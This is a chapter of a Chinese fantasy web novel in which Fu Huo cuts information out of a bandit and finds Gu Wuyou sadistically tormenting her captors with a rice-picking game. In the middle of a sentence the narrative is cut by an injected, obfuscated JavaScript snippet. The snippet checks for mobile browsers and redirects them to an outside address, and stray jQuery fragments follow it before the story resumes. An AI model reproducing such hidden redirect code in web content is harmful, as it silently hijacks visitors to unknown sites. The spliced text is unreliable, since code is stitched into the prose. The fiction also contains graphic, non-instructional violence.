31. 鸽为食亡
作品:《混乱乐子人穿成反派后》 伏惑沿原路折返。
妖国附近的地貌确实让他迷茫了一阵,但是他能借助飞行占据高处优势,因而很快探明一条离目的地最近、最快的路线。
接下来,就是和顾无忧一起……
伏惑的原身游走于云层之间。
他居高临下,四处寻找,却半点儿顾无忧的影子都没看到。
奇怪……
他只是不熟陌生地形,又不是真路痴。按理来说,这个方向绝对正确无误。
所以,顾无忧到底去哪儿了?
就连马车也消失得一干二净。
这家伙,不会是故意把他支开,想自己一个人单独行动?
如此设想一番,伏惑由衷地感觉,顾无忧真的可能做出这种事。
他甚至犹豫,到底要不要先赶去妖国,在那里与她碰面。
不过下一瞬,他定睛往下一瞥,又匆忙打消念头——
只见一个佩戴眼罩、身负伤疤之人,正盘腿坐地。不知他无所事事在等些什么,却看他手中弯刀一刻晃荡不停,其刀尖寒光上下飞舞……
居然挑动着一条熟悉的发带。
再仔细瞧,那缎带、羽饰、银链……不就是他做给顾无忧的东西吗?
伏惑心里一紧。
他变回人形,稳稳落地。
伏惑悄无声息地靠近,刻意收敛气息。
直到走至对方身后距离八尺之遥,对方依旧全无反应。
如此结果,倒在伏惑意料之内。
此人实力应不及他。
“喂。”伏惑喊了独眼一声,问道,“你手上的发饰是从哪里得来的?”
独眼吓得一个激灵,想要站起,反而被地面石头绊住,踉跄着差点儿跌倒。
“你谁啊?怎么走路没声音啊?”独眼不满伏惑对自己造成的惊吓,更不满伏惑质问的态度,“你管得着老子吗你?!”
“……”
伏惑懒得和他废话,横刀也懒得拔,“再问你最后一遍,这条发饰,你到底怎么得到的?”
独眼看不穿伏惑的修为,于是自以为是地开始大放厥词:“嘁,我不说,你又能拿我如何?还不是……”
不等他说完,伏惑眼神一凛,右手竖直,猛劈向独眼肩颈,与此同时,左手迅速扣住他的手腕——
一摁,一扯,一撇。
独眼的胳膊轻易被卸。
“啊啊啊啊啊啊啊啊啊!!”独眼痛得撕心裂肺,哀嚎不止。
他双膝跪地,捂着胳膊抽搐。
发饰掉落,伏惑两步上前捡起。
见伏惑再度接近,独眼这才害怕。
他慌慌张张退远,其黑裤摩擦着粗粝的砂石,拖出一道显而易见的印迹。
独眼撑着扭曲模糊的视野,哀求道:“老子……啊不,我、我错了我错了!”
“这是我从一个小姑娘那里拿来的,她说她的同伴会认得这个!”
伏惑不为所动:“我最后一遍问你时,你不回答。现在,我不想听了。”
伏惑手指拨动刀柄,装模作样展露刀身坚冷的一角。
独眼倒吸一口凉气,脑筋急转:“等等等等,您一定就是那位顾小姐的好友吧!她被我们老大带到了营地,我能给您带路!”
“而且我能保证,接下来,您问什么我答什么!知无不言!”
独眼指天誓日、心惊胆战,生怕伏惑一言不合砍他一刀。
停顿了好一会儿,伏惑才开口:“行。”
伏惑淡淡摇了摇发饰:“她主动交给你的吗?”
“这个、那个……”
独眼原本支支吾吾,转而见伏惑阴沉的脸色,瞬间滑跪,“是我抢的、我抢的!对不起!”
“顾小姐说,这是别人做了一整晚的心意,最好不要随便给出去,是我鬼迷心窍,非要抢!”
……算她有点儿良心。
伏惑不知怎地多嘴解释:“没有一整晚,最多一个时辰而已。”
“是是是。”独眼竹筒倒豆子,想到哪句说哪句,“顾小姐也说他嘴硬非要强调只做了一个时辰,其实顾小姐根本没睡,看到他房间里的灯燃了一夜。”
“……”收回前言。
伏惑深吸口气,转移话题,“她怎么会跟你们一起走?”
独眼为难:“我也不知道啊,顾小姐她自愿的。”
“自愿?”
独眼点头:“我们老大问,要不要跟他走,顾小姐一下子就答应了!”
“……?”伏惑皱眉,“完了。”
很难想象,独眼竟然从伏惑变化极少的表情间,读出一种“天塌了”的无可奈何。
他以为这是出于对顾无忧的关心,于是宽慰伏惑:“您别担心,顾小姐到我们据点不久,老大应该还不会把她怎样!”
谁料,伏惑否认:“不,我是说……”
“你们完了。”
独眼:?
*
“那么,来吧。”
顾无忧手执一把白米,轻轻掂量,对下方俯首的匪徒笑道,“一粒粒地捡。记住,时限内谁捡最少,会受到惩罚哦。”
鹰钩鼻面朝土地,浑身战栗。
他想不明白,一个柔柔弱弱的小姑娘为何会突然变脸,手出奇招,把远比她身材魁梧的壮汉一一制伏。
这合理吗?
还没等他苦思冥想出一个答案,这边,似银铃悦耳的嗓音却不留情面宣告:“三、二、一!”
她右手高举,施力尽情挥洒。
“开始!”
细小米粒如雨坠落,蹦跳着四散奔逃,淘气地钻进各个角落。
鹰钩鼻骤然抬头,饿虎扑食般,与身边同样畏惧顾无忧的几个手下展开争抢。
一拥而上的混乱,彼此你推我搡,恍若贪食的雀鸽。
不过短短片刻,演变为大打出手。
顾无忧则端坐原本属于鹰钩鼻的位置,笑吟吟瞧他们爆发内讧。
“五、四……”
混乱未影响她分毫,觉得时间差不多了,顾无忧最后拍掌,为他们倒数,“三、二、一!”
“让我看看,你们捡到了多少?”
无数缎带拔地而起,把众人牢牢桎梏,迫使他们张开手心。
其中一人直冒冷汗——
只因他方才稍一趔趄,不小心将好不容易搜集来的白米全撒了。
此刻,他的手心空空如也。
顾无忧显然也发现了他,遗憾地垂眼:“啊呀,一颗都没有吗?太可惜了。”
“不不、不是的!”他结结巴巴解释,奋力摇头,“您听我说,我是不小心……”
顾无忧笑吟吟颔首,口边安慰:“好的好的,我知道,别急别急……”
缎带悉数褪去,只感到对身体的钳制顿时一松。
顾无忧的语气,也恰似诱哄般温柔。
他几乎认为,自己要逃过一劫。
然而,那些捆住手脚的缎带再度席卷,猝不及防沿他张开的嘴巴涌入,争前恐后。
一瞬间,旁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401725|183267||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
观的匪徒目瞪口呆。
他们或许想到了为牲畜灌水的场景——腹部被迫撑得溜圆,扯着肚皮膨胀,迸发一条条丑陋的纹路。
它皮肤渐薄,愈趋透明。
好像在那张状似蝉翼的肚皮上,随便划拉一道口,目不忍睹的污秽,便会掺杂蜿蜒的肠一块儿,喷薄而出、倾泻一地。
“贪得无厌,所以,才什么都想塞进肚子里。”顾无忧的双手交叉握在背后,做出一派俏皮的情态,“既然如此,我自然可以百倍千倍回报你们。”
她的口齿间溢出兴奋的轻笑:“这样不好么?”
“呜唔……!”他仅会呜咽,此刻拼命摇头。
鹰钩鼻硬着头皮替他求饶:“顾姑娘!小姐!我们不该盯上你的!你大人有大量,放他一马!”
“哦?”顾无忧勾指,当真散了缎带,目光凉凉递去,“那你来替他?”
“……!”鹰钩鼻如被棉花塞住咽喉,一个字挤不出来。
气氛静谧得可怕。
唯那个最倒霉的匪徒趴地,一直扣着嗓子干呕,吐出涎液。
他的声音断断续续,久久萦绕不散。
“不愿意吗?那算了。”顾无忧一副果然如此的表情,她耸耸肩,轻巧地拨弄了下头发,“我们继续下一局好了!”
鹰钩鼻不可置信:“还要继续?!”
顾无忧疑惑反问:“对啊,不然呢?”
五雷轰顶。
鹰钩鼻的面庞害怕得抽搐。
什么是真正的绝望。
他鹰钩鼻一定是这辈子造孽太多,上天才派这么个“恶鬼”来折磨他。
“呵呵。”
对方浑身上下散发的抗拒过于浓烈,顾无忧不由好笑猜测,“不想玩了?”
鹰钩鼻想点头又不敢点。
一脸欲语还休的心力交瘁。
“真是搞不懂。这么热情地邀请我来,结果我真来了,你又不高兴。”
顾无忧察觉到他的迟疑,善解人意道,“啊,我其实还挺想继续下去……这样吧,这里还有其他看官。如果他们中有一人肯为你们求情,我们就一拍两散,好不好?”
闻言,鹰钩鼻眼底燃起希冀的光彩。
匪徒几人齐齐将求助的眼神转向顾无忧身后——那位自始至终旁观的白衣公子。
顾无忧问过他的名字,他说他叫林爻,同出身妖国,仅是一个云游四方的求学者。今日途经于此,实力不敌对方,才不小心落入这群匪徒之手。
在场众人,似乎独他,最符合顾无忧所认定的看官。
不过,顾无忧只顺着匪徒齐聚的视线瞥了林爻一眼,便立即淡淡移开目光。
论看官,明明还有比他更合适的人选。
越过众人,顾无忧直接高喊他的名字:“伏惑,你觉得如何?”
“……伏惑?”顾无忧对林爻的忽视,大大出乎他的意料。
他的神情当场垮掉,蜷紧手心,尽力克制瞬息万变的情绪。
大家亦纷纷扭头,看向不知何时出现的独眼,他后头竟跟着一个陌生男人。
来者长相俊逸明朗,周身气质却阴沉。其穿着一袭蓝黑衣衫,腰后挂佩一柄横刀。
独眼已经很手足无措。而作为被顾无忧提及的中心——
伏惑,他的脸色难看更甚。
“伏惑,你说说,我是继续,还是就此收手?”
顾无忧眉开眼笑,却幽森道。
“放心,只要是伏惑你的劝说,我肯定会认真听!”